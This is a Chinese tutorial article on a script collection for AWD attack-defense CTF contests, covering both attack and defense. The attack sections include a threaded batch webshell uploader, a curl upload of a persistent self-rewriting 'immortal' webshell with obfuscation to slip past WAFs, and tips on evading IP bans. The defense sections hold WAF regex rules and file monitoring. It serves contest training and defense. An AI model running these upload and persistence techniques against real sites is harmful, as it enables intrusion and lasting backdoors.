☰
AWD攻防赛实战脚本:攻击链与防御监控全解析
2026/10/8 15:15:50 网站建设 项目流程

简介:AWD攻防赛是网络安全竞赛中强调实时攻防对抗的模式,参赛者需要在保护己方服务的同时攻击对手目标。这套脚本集合即面向此类赛事选手,整理了赛场上常用的攻击与防御工具,覆盖自动化攻击、Flag获取、Webshell管理、不死马对抗、日志分析与文件监控等典型场景。资源共33个文件,以Python脚本为主,辅以PHP脚本、pyc编译文件、txt说明文档,另含一个日志安全分析工具压缩包,整体大小约3.14MB,体积精简、即取即用,适合作为赛前突击或现场应急参考。当前已有408人学习下载。压缩包内部按attack与defense等模块划分,清晰对应攻击链与防守策略,既提供上传Shell、批量攻击、命令生成等主动手段,也配备修改curl、日志地址、查杀不死马、部署WAF等加固方案,能帮助选手快速理解攻防思路并直接复用到实际赛局中。

1. AWD攻防赛脚本集合这套资源,解决的是比赛里最让人头疼的问题:操作链路断在半路——flag 拿到手提交失败、shell 刚上传就被对手删了、服务器被打了半天找不到日志。它把攻击侧的 GetFlag、不死马、批量上传工具和防御侧的 WAF、文件监控、日志分析工具打包在一起,适合正在备赛的 CTF 战队,也适合刚接触 AWD 模式、想在真实节奏里验证自己工具链的安全选手。它解决的问题很直接:把比赛里重复度最高的攻防操作脚本化,从手忙脚乱变成改参数就能跑。

2. 资源全景:Attack 与 Defense 双线目录到底装了什么

2.1 Attack 目录:从 GetFlag 到不死马的完整攻击链

7z 压缩包解压后,整体布局不复杂:attack_python 是攻击侧脚本合集,Defense 是防守侧脚本合集,根目录还放了一个独立的 Web日志安全分析工具 v2.0 压缩包。三部分互不依赖,可以单独使用,但真正在 AWD 比赛里,它们是一个完整闭环——攻击侧拿分,防御侧守分,日志工具负责赛后复盘。

attack_python 目录下的文件按功能可以分成三组。第一组是 flag 获取链路,GetFlag.py 负责通过已控的 webshell 执行读取 flag 的命令并批量收集,Flag.txt 是记录 flag 的临时文件;webshell.txt、shell.php、shell1.php 是不同形态的 shell 文件,shell.php 是基础款,shell1.php 通常是做过混淆的版本,用于绕过简单查杀。

第二组是上传与指挥工具。awd_attack.py 是整个攻击链的主控脚本,负责按 IP 列表批量发起攻击动作;upload_shell.py 专门负责把 shell 文件上传到目标。ListCreate.php 这个文件名有迷惑性,本质上是配合批量上传生成存活目标清单的脚本,常见做法是让它输出目标 URL 列表,喂给 awd_attack.py 做循环。cmd.exe 和 plugin 是 Windows 场景下的备用文件,AWD 偶尔会遇到 Windows 靶机,cmd.exe 的命名本身就是混淆策略之一。目录下还有一个无扩展名的 Attack 文件,常见是 bash 脚本或 ELF 入口,用于自动串联整条攻击链路。

第三组是"不死马"系列,包含隐藏不死马测试版.php、不死马.php、命令生成不死马_批量版.py、命令生成不死马.txt。这一组解决的是"shell 被删之后怎么持续拿权限"的问题。不死马的核心思路是让一段代码在服务端常驻执行,每几秒把 webshell 文件重新写出来,删了又生。批量版脚本就是一次性给多个目标部署这个机制。

2.2 Defense 目录:日志、文件监控与 WAF 的防守阵型

Defense 目录的定位是"守住自己这一分"。AWD 里进攻拿分只是其一,防守扣分同样致命,每一台被打穿的机器都是送给对手的分。linux文件监控脚本.py 监听 web 目录的增删改,一旦发现陌生 php 文件就会输出告警;waf.php 是一个轻量级 PHP 流量过滤器,通过 auto_prepend_file 或 .htaccess 在所有 PHP 请求前执行,拦截常见的注入和 webshell 访问特征。

修改curl.txt 和日志地址.txt 两个文档看起来不起眼,实际是两个"经验包"。修改curl.txt 记录的是用 curl 调试时应该怎么改参数——带 cookie、伪装 UA、跟随重定向,这些在手工验证 shell 是否存活时很有用;日志地址.txt 列出的是 nginx、apache、容器环境里日志的默认路径和处理方式,避免比赛时临时翻找日志目录浪费时间。

克制不死马.txt 是防守端针对前列不死马组的专杀笔记。Web日志安全分析工具+v2.0.rar 是独立的日志分析工具,解压后可在本机运行,赛后自查日志里的攻击痕迹。整套资源的关系用一张表能看更清楚:

目录文件定位
attack_pythonawd_attack.py批量攻击主控
attack_pythonGetFlag.py / Flag.txtflag 获取记录
attack_pythonupload_shell.pywebshell 上传
attack_pythonshell.php / shell1.php / webshell.txt不同形态 shell
attack_python不死马.php / 隐藏不死马测试版.php持久化 webshell
attack_python命令生成不死马_批量版.py批量部署不死马
attack_pythonListCreate.php目标清单生成
attack_pythontips.txt攻击技巧备注
Defensewaf.phpPHP 流量过滤
Defenselinux文件监控脚本.py文件增删改监控
Defense克制不死马.txt不死马清理方案
Defense日志地址.txt / 修改curl.txt经验文档
根目录Web日志安全分析工具+v2.0.rar日志分析工具

3. 攻击侧实操:awd_attack.py 与上传挂马的联动套路

3.1 awd_attack.py 的工作逻辑与参数调整

先看主控脚本。awd_attack.py 的逻辑不复杂,本质是一个循环器:读入目标 URL 清单,逐个发起攻击请求,把上传成功的 shell 地址记录到存活清单,最后交给 GetFlag.py 去取 flag。常见做法是设计成下面这样:

import requests import threading targets = [] # 从 list.txt 读入目标,每行一个 http://ip:port with open("list.txt", "r") as f: targets = [line.strip() for line in f if line.strip()] def attack(url): try: # 读取本地 shell 文件作为 payload with open("shell.php", "r", encoding="utf-8") as f: payload = f.read() files = {"file": ("shell.php", payload, "application/x-php")} resp = requests.post(url + "/upload.php", files=files, timeout=5) if resp.status_code == 200 and "success" in resp.text.lower(): print("[+] OK:", url) else: print("[-] FAIL:", url) except Exception as e: print("[-] ERR:", url, str(e)) threads = [] for u in targets: # 每个目标起一个线程并发执行 t = threading.Thread(target=attack, args=(u,)) t.start() threads.append(t) for t in threads: t.join()

这段代码的逻辑是:从 list.txt 读取目标地址,每个目标起一个线程,把本地 shell.php 当普通文件上传到对方 /upload.php,按返回内容判断是否成功。逻辑本身没有技术难度,真正的差异在参数调整上。

我一般会改三个地方。一是 timeout,AWD 现场网络波动大,timeout 设 3 秒容易把正常目标误判为失败,设 10 秒又会让整个循环变慢,5 秒是我的习惯值。二是线程数,脚本里直接起线程的写法不限制并发,目标多时会一下开上百个线程,建议引入信号量把并发锁在 20 以内,不然本机先被自己的请求打满:

import threading sem = threading.Semaphore(20) # 限制并发数 def attack(url): with sem: # 原有攻击逻辑 pass

三是上传字段名,不同靶机的上传接口接收的文件字段不一样,常见有 file、fileToUpload、upfile。比赛前用少量目标试一遍,确认字段名后再全量跑,不然可能全程都在对空接口上传。

3.2 upload_shell.py 与 ListCreate.php 的配合

upload_shell.py 是单独的上传工具,它和 awd_attack.py 的分工是:主控脚本负责"批量跑",这个脚本负责"精细跑"。常见场景是主控跑完后,有几台目标上传失败,需要手工重放。upload_shell.py 一般支持指定单目标、自定义协议,还会打印完整响应头和响应体,方便排查是被 WAF 拦了还是接口路径不对。

ListCreate.php 值得多说一句。乍看是个 PHP 文件,实际上是攻击前的侦察清单生成脚本。它运行在攻击机上,通过探测目标的常见端口和服务指纹,返回一组带路径的完整 URL 清单。比如确认目标 80 端口开放后,生成 http://ip:port 的完整列表,awd_attack.py 就不需要自己拼 URL 格式。

我实际用过的流程是这样的:

# 先用 ListCreate.php 生成目标清单 php ListCreate.php -f ip_list.txt -o list.txt # 再交给 awd_attack.py 批量上传 python3 awd_attack.py -i list.txt -p shell.php

这里的 -f 是输入 IP 文件,-o 是输出清单,-p 指定 payload。生成清单后,打开 list.txt 检查一遍,确认 URL 协议和端口都正确。AWD 里最常见的翻车是 IP 清单里混入自己的靶机地址,批量上传时把自己打穿了。所以 ListCreate.php 生成完清单后,先 grep 一遍排除本机网段,再进循环:

grep -v "本机IP" list.txt > temp && mv temp list.txt

3.3 隐藏不死马测试版与普通不死马的区别

不死马是 AWD 攻击侧的常客,这个资源里给了两个版本。普通的不死马.php 是最原始形态:上传后立即运行,代码里用 ignore_user_abort 和 set_time_limit 让进程脱离请求生命周期,死循环里不断 file_put_contents 生成 shell 文件,同时把自身路径 unlink 掉,让管理员在磁盘上看不到原始文件。

隐藏不死马测试版.php 是改良版,差异在两点。第一,文件生成位置更刁钻,不再固定写在 web 根目录,而是写成图片马,或写到缓存目录再加 include 引用;第二,生成的 shell 内容做了编码,字符串拼接、base64 解码、可变函数调用等形式组合,让 waf.php 和查杀脚本都不容易通过特征匹配命中。

不建议在正式比赛里直接跑原版不死马,原因在避坑章节展开。这里给一个判断版本的方式:打开不死马.php 看循环体,如果看到 sleep(5) 或 usleep 这类"写入后休眠"的代码,就是带了频率控制的版本,相对安全;如果循环里没有任何 sleep,一秒钟写几十次文件,那基本是拿来坑队友的版本,谁用谁先崩。

命令生成不死马_批量版.py 的作用是把不死马部署脚本化。它接受目标 IP 列表和上传方式参数,自动把不死马以指定文件名上传到多个目标并触发执行。命令生成不死马.txt 是配套的命令参考,记录的是 curl 上传和触发格式。我在比赛里更常用 curl 先手工验证一台,确认能通再批量:

curl -s -X POST http://目标/upload.php \ -F "file=@不死马.php" \ -F "filename=info.php" \ -o /dev/null -w "%{http_code}"

这条命令的关键是 -F 用文件字段模拟表单上传,-o 丢弃响应体避免终端刷屏,-w 只打印状态码。200 或 302 都算成功,403 基本是撞了 WAF。

4. 防御侧落地:waf.php 与文件监控脚本的部署姿势

4.1 waf.php 的放置位置与规则调整

waf.php 是一个纯 PHP 的流量过滤脚本,思路是在所有 PHP 请求执行前先跑一段过滤代码。部署方式有两种常见路线:一是改 php.ini 里的 auto_prepend_file 指向 waf.php,二是用 .htaccess 的 php_value auto_prepend_file。第一种全局生效,第二种只作用于当前目录。AWD 环境下你能控制的一般只有网站目录,所以 .htaccess 路线更常用。

waf.php 的过滤规则不能直接拿来就用,我一般会先改成这样:

<?php // 轻量 WAF 过滤规则,按需增删 $rules = [ '/union\s+select/i', '/information_schema/i', '/base64_decode/i', '/eval\s*\(/i', '/system\s*\(/i', '/assert\s*\(/i', '/<\?php/i', ]; foreach ($rules as $pattern) { if (preg_match($pattern, $_SERVER['REQUEST_URI'])) { http_response_code(403); die('forbidden'); } } // 记录被拦截的请求,写到独立日志 file_put_contents('/tmp/waf_log.txt', date('Y-m-d H:i:s') . ' ' . $_SERVER['REMOTE_ADDR'] . ' ' . $_SERVER['REQUEST_URI'] . "\n", FILE_APPEND);

这段代码的逻辑是:把规则放在数组里循环匹配 REQUEST_URI,命中就返回 403,同时把拦截记录写到 /tmp/waf_log.txt。第一版先用这套跑十分钟,再看日志调规则。

参数调整上,容易被忽略的是把 POST 参数也纳入检查。只查 REQUEST_URI 对 query string 有效,但请求体里的 payload 会漏过去。我会把 $_POST 串进检查,但注意不要用 $_REQUEST,因为它默认包含 GET/POST/Cookie,会导致误杀。规则本身不要太贪心,'/<?php/i' 这条会把正常的 XML、模板请求一起 403。原版 waf.php 如果规则全量加载,第一件事是把明显误杀的规则去掉,否则比赛还没开始,己方站点先崩一半。

4.2 linux文件监控脚本.py 的 crontab 接入

文件监控脚本的原理是扫描 web 目录下所有 PHP 文件,记录文件名、大小、修改时间,间隔一段时间再扫一次,发现差异就输出告警。常见实现是维护一个哈希快照:

import os import hashlib web_root = "/var/www/html" snapshot_file = "/tmp/web_files.snapshot" def build_snapshot(): snapshot = {} for root, dirs, files in os.walk(web_root): for name in files: path = os.path.join(root, name) try: with open(path, "rb") as f: digest = hashlib.md5(f.read()).hexdigest() snapshot[path] = digest except Exception: pass return snapshot def load_snapshot(): snap = {} if os.path.exists(snapshot_file): with open(snapshot_file, "r") as f: for line in f: p, d = line.strip().split("|") snap[p] = d return snap current = build_snapshot() old = load_snapshot() for path in current: if path not in old: print("[ALERT] new file:", path) elif current[path] != old[path]: print("[ALERT] modified:", path) for path in old: if path not in current: print("[ALERT] deleted:", path) with open(snapshot_file, "w") as f: for path, d in current.items(): f.write(f"{path}|{d}\n")

这段代码分三步:build_snapshot 遍历目录算每个文件的 MD5;old 从上次快照文件读历史状态;最后比对,把新增、修改、删除分别输出告警。快照文件写回 /tmp,比赛时记得改成非 web 可访问目录,不然快照本身会被下载。

部署上我习惯用 crontab 每 30 秒跑一次,但 crontab 最小粒度是 1 分钟,所以要让脚本内部循环等待或接受外部参数:

*/1 * * * * cd /root/defense && python3 linux文件监控脚本.py >> /tmp/watcher.log 2>&1

注意告警输出要重定向到 /tmp/watcher.log,比赛时用 tail -f 实时盯。如果担心 crontab 被对手重置,可以写 systemd service 常驻,比 crontab 稳,但部署时间也长。我的取舍是:开局前 10 分钟用 crontab 快速上,中盘再补 systemd。

4.3 克制不死马.txt 里的清理思路

克制不死马.txt 是防守端最该先读的文档。不死马的难点不在删文件,而在于删掉之后它还会写回来,所以清理思路必须是"先杀进程,再删文件,最后补位"三步走。

第一步杀进程。找 php-fpm 或 apache 的 worker 进程里谁在持续执行不死马代码,常见做法是看 CPU 占用,不死马循环里没有 sleep 的话 CPU 会持续飘高。找到进程后 kill 掉,注意 php-fpm 会拉起新 worker,正确做法是 kill 之后马上做第二步。

第二步删文件。把不死马生成的所有 shell 文件找出来删掉,用前面文件监控脚本的快照就能定位新增文件。删完立刻用 chattr 锁住关键路径,让对手无法再写:

chattr +i /var/www/html/shell.php chattr +R +i /var/www/html/uploads

第三步补位,把 waf.php 的规则加上不死马特征。这里有个细节:不死马通常用 base64 解码字符串来生成文件名,waf 规则里直接查执行函数名比查文件名更有效,比如拦截 assert、preg_replace 配合 /e 修饰符这类老式代码执行特征。

克制不死马.txt 里如果没有写 chattr 这步,大概率会陷入"删了又出,出了又删"的死循环。chattr +i 之后文件连 root 都不能改,对手的不死马再执行 file_put_contents 会直接报 Permission denied,这比 chmod 555 可靠得多。

5. AWD 实战避坑:脚本翻车的 5 个典型现场

5.1 不死马把自己服务器打崩

现象:上传不死马后,本机 CPU 直接拉满,网站访问变慢,SSH 连不上。排查时看到 php-fpm 进程占满 CPU,kill 掉又立刻有新进程起来。

原因:不死马循环里没有 sleep,每轮都做 file_put_contents 和 unlink,CPU 和磁盘 IO 被耗尽。很多新手为了"让不死马更强",把循环写成无间隔直跑,结果先死在资源上。

解决:先在本地虚拟机验证原版不死马的资源占用,观察 CPU 是否异常;给不死马循环体加 usleep(500000) 限速,再考虑批量部署。从那以后我每次上传不死马前,强制先看一遍循环体里有没有 sleep,没有的一律改完再跑。

5.2 waf.php 拦截了自己网站的正常请求

现象:部署 waf.php 后,网站图片加载失败,登录接口 403,业务先崩了。打开 waf_log.txt 发现大量正常请求被拦。

原因:规则里的 '/<?php/i' 把正常包含 PHP 标签的模板文件也拦了,或者 base64_decode 误杀了业务里的正常编码参数。比赛环境下业务逻辑本就脆弱,误杀比漏杀更致命。

解决:先跑白名单模式,把拦截改成记录,观察一小时日志,把所有误杀的请求特征从规则里摘掉,再切换拦截模式。规则宁可少而准,不要多而滥。

5.3 python 脚本跑起来直接报模块不存在

现象:python3 awd_attack.py 执行后,报 ModuleNotFoundError: No module named 'requests'。另一个常见情况是 python2 运行时语法报错。

原因:攻击机环境太干净,requests 库没装;或者系统默认 python 指向 python2,而脚本里用了 f-string 语法,必然挂。

解决:开局统一建虚拟环境,一次性装好依赖:

python3 -m venv /root/awd_env source /root/awd_env/bin/activate pip3 install requests

以后所有脚本都在这个环境里跑,不要在全局环境里裸奔。

5.4 日志地址不对,监控脚本白跑

现象:文件监控脚本和日志分析工具都配好了,但什么告警都没有,以为很安全,赛后复盘发现服务器早就被打穿了。

原因:日志地址.txt 记录的路径是常见默认值,但比赛环境把日志写到了别的位置,监控脚本盯着一扇不存在的门。

解决:先全局搜一遍真实日志路径:

find / -name "access.log" -type f 2>/dev/null find / -name "*.log" -type f 2>/dev/null | grep -E "nginx|apache"

找到真实路径后,再修改脚本指向。AWD 环境里不要相信默认配置,一切以实际路径为准。

5.5 批量上传撞上对手 WAF,IP 被封

现象:awd_attack.py 跑到一半,目标开始拒绝连接,连手工操作也进不去,自己的攻击机被对方封了。

原因:上传频率太高,对手的 waf.php 或云防护按 IP 做了封禁。批量脚本默认不会控制频率,几个线程跑起来就成了 DDoS。

解决:把线程数降下来,给每个请求加随机 UA 和随机延迟,并在 header 里带上 Cache-Control 规避缓存。

import time import random headers = { "User-Agent": "Mozilla/5.0", "Cache-Control": "no-cache", } time.sleep(random.uniform(0.5, 1.5)) # 随机延迟

同时准备备用攻击机,主 IP 被封后切到备用机继续,不要恋战。

6. 进阶技巧:把 Web日志安全分析工具 v2.0 变成赛后复盘武器

AWD 比赛结束后,大多数人直接交 flag 走人,但真正有效的技能提升来自复盘。Web日志安全分析工具 v2.0 在这个环节的价值比比赛中还大,它能帮你从日志里还原自己的漏洞是怎么被打穿的、对手的利用路径是什么。

我用它的习惯分三步。第一步,比赛结束后立刻把服务器上的 nginx/apache access.log 和 error.log 全部打包回本地,不要在还在跑战的机器上做分析。第二步,导入工具后先按 IP 维度排序,找出所有非本队 IP 的访问记录,这是攻击者的入口。第三步,把可疑 IP 的请求序列翻出来,看它访问了什么路径、上传了什么文件、请求里带了什么参数,按 URL 分组统计。

以日志分析工具的常规功能为例,重点看这几个指标:

观察点看什么判断依据
高频 IP同一 IP 的请求总量单 IP 短时间大量请求大概率是扫描或批量攻击
异常路径/upload.php /shell.php 等正常业务不会访问的路径出现即可疑
请求参数eval/system/base64 等关键词携带这些参数基本可判定为攻击 payload
状态码分布403/500 比例异常大比例 403 说明 WAF 在拦截攻击

日志分析工具打开后,如果它支持正则过滤,直接搜\b(eval|assert|base64_decode|file_put_contents)\b,能把大半攻击 payload 捞出来。我在一次赛后复盘里,就是通过日志里一条 upload.php 的 POST 请求,看到对手上传的文件名是自己内网机器名,顺着这条线索定位到他是从内网横向进来的,这比比赛中发现漏洞更能暴露防守盲区。

复盘结论要写回克制不死马.txt 和日志地址.txt 两个文档——哪个路径被利用了、哪个日志目录之前没盯住、waf 规则缺了哪条,全部记录在案。从那以后我每次 AWD 结束,都强制走一遍"打包日志 → IP 分析 → payload 特征提取 → 更新防御笔记"的流程,整套脚本的价值有一半其实是赛后这次复盘给补上的。希望这份笔记能帮你在下一次 AWD 里少踩几个坑,把工具链真正跑顺。

本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询